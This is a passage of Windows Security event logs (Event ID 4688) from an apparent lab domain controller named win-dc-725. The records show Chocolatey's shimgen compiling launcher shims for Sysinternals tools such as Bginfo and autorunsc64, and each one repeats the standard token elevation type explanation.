to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246341 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3fc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\adrestore64.exe" --output="C:\ProgramData\chocolatey\bin\adrestore64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\adrestore64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246340 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x864 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb88 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB0EC.tmp" "c:\ProgramData\chocolatey\bin\CSCDFD59F0CABA347E191E5FC11B6E18F9B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246384 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe60 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2d8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246383 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2d8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe74 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Bginfo64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_9429\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_9429\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_9429\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_9429\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_9429\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246382 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x310 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe74 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246381 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe74 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Bginfo64.exe" --output="C:\ProgramData\chocolatey\bin\Bginfo64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Bginfo64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246380 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb50 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x470 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB7D1.tmp" "c:\ProgramData\chocolatey\bin\CSCF6F191B27D4CAB84FA2951FAFA7ED.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246379 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5d8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x470 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246378 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x470 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x438 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Bginfo.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_7242\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_7242\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_7242\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_7242\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_7242\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246377 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x314 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x438 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246376 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x438 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Bginfo.exe" --output="C:\ProgramData\chocolatey\bin\Bginfo.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Bginfo.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246375 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4fc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd58 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB6E7.tmp" "c:\ProgramData\chocolatey\bin\CSCDBFCEF49BCF747169267C78AFAB04394.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246374 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd34 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd58 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246373 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5ec - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\autorunsc64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_4898\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123404_4898\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_4898\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_4898\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123404_4898\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246372 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x64c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x5ec - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246371 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5ec - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\autorunsc64.exe" --output="C:\ProgramData\chocolatey\bin\autorunsc64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\autorunsc64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246370 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb10 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB60C.tmp" "c:\ProgramData\chocolatey\bin\CSC71A7C15471C44F809E72EBC3B4FA9CB5.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:58 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246369 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x370 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator 